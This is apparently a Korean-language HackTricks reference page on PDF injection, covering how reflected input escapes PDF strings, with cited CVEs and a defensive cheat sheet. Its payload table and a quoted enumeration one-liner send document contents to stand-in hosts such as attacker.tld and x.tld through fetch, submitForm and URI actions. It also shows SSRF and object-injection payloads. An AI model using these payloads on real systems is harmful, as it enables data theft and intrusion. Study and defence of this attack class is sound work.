PDF Injection
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
PDF 파일 내에서 입력이 반영되는 경우, JavaScript를 실행하거나 SSRF를 수행하거나 PDF 콘텐츠를 훔치기 위해 PDF 데이터를 주입할 수 있습니다. PDF 구문은 매우 관대합니다 – 입력을 포함하는 문자열이나 사전에서 벗어날 수 있다면, Acrobat/Chrome이 기꺼이 구문 분석할 새로운 객체(또는 동일한 객체의 새로운 키)를 추가할 수 있습니다. 2024년부터 버그 바운티 보고서의 물결이 하나의 이스케이프되지 않은 괄호나 백슬래시로도 전체 스크립트 실행이 가능하다는 것을 보여주었습니다.
TL;DR – 현대 공격 워크플로우 (2024)
- 생성된 PDF의 (괄호 문자열), 
/URI ( … )또는/JS ( … )필드 내에 위치하는 사용자 제어 값 찾기. )(문자열 닫기) 다음에 아래의 원시 중 하나를 주입하고 구문을 유효하게 유지하기 위해 또 다른 여는 괄호로 마무리합니다.- 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 – 블라인드 버그에 유용).
 - PDF 뷰어에서 페이로드가 실행됩니다:
 
- Chrome / Edge → PDFium Sandbox
 - Firefox → PDF.js (CVE-2024-4367 참조)
 - Acrobat → 전체 JavaScript API (임의 파일 내용을 
this.getPageNthWord로 유출할 수 있음) 
예시 (주석 링크 하이재킹):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
첫 번째 )는 원래 URI 문자열을 닫고, 사용자가 링크를 클릭할 때 Acrobat이 실행할 새로운 Action 사전을 추가합니다.
유용한 주입 원시
| 목표 | 페이로드 스니펫 | 비고 | 
|---|---|---|
| 열 때 JavaScript | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | 문서가 열릴 때 즉시 실행됩니다 (Acrobat에서 작동, Chrome에서는 작동하지 않음). | 
| 링크에서 JavaScript | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | /Link 주석을 제어할 경우 PDFium 및 Acrobat에서 작동합니다. | 
| 블라인드 데이터 유출 | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS 내에서 this.getPageNthWord와 결합하여 콘텐츠를 훔칩니다. | 
| 서버 측 SSRF | 위와 동일하지만 내부 URL을 타겟으로 설정 – PDF가 /URI를 존중하는 백오피스 서비스에 의해 렌더링될 때 유용합니다. | |
| 새 객체를 위한 줄 바꿈 | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | 라이브러리가 새 줄 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다. | 
블라인드 열거 트릭
Gareth Heyes (PortSwigger)는 알 수 없는 문서 내의 모든 객체를 열거하는 원라이너를 발표했습니다 – 생성된 PDF를 볼 수 없을 때 유용합니다:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
코드는 Acrobat DOM을 반복하며 모든 속성/값 쌍에 대해 외부 요청을 수행하여 파일의 JSON-ish 덤프를 제공합니다. 전체 기술에 대한 내용은 백서 “Portable Data exFiltration”을 참조하십시오.
실제 버그 (2023-2025)
- CVE-2024-4367 – Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행이 조작된 
/JavaScript작업으로 샌드박스를 우회했습니다. - 버그 바운티 2024-05 – 주요 핀테크가 고객 제공 송장 노트를 
/URI에 허용했으며,file:///URI를 사용하여 내부 메타데이터 호스트에 대한 SSRF를 시연한 후 보고서에 $10k가 지급되었습니다. - CVE-2023-26155 – 비정상적인 PDF 경로를 통한 
node-qpdf명령 주입은 PDF 레이어 이전에 백슬래시와 괄호를 이스케이프하는 것의 중요성을 보여줍니다. 
방어용 치트시트
- 절대 사용자 입력을 
(…)문자열이나 이름에 연결하지 마십시오. PDF 사양 §7.3에 따라 필요한 경우\,(,)를 이스케이프하거나 16진수 문자열<...>을 사용하십시오. - 링크를 생성할 경우, 
/URI (https://…)를 선호하며 완전히 URL 인코딩하십시오; 클라이언트 뷰어에서javascript:스킴을 차단하십시오. - PDF 후처리 시 
/OpenAction,/AA(추가 작업),/Launch,/SubmitForm및/ImportData사전을 제거하거나 검증하십시오. - 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 작업을 제거하는 헤드리스 변환기 (예: qpdf –decrypt –linearize)로 렌더링하십시오.
 - PDF 뷰어를 최신 상태로 유지하십시오; PDF.js < 4.2.67 및 2024년 7월 이전의 Acrobat Reader는 사소한 코드 실행을 허용합니다.
 
참고문헌
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (2024년 5월 업데이트). https://portswigger.net/research/portable-data-exfiltration
 - Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (2024년 4월). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks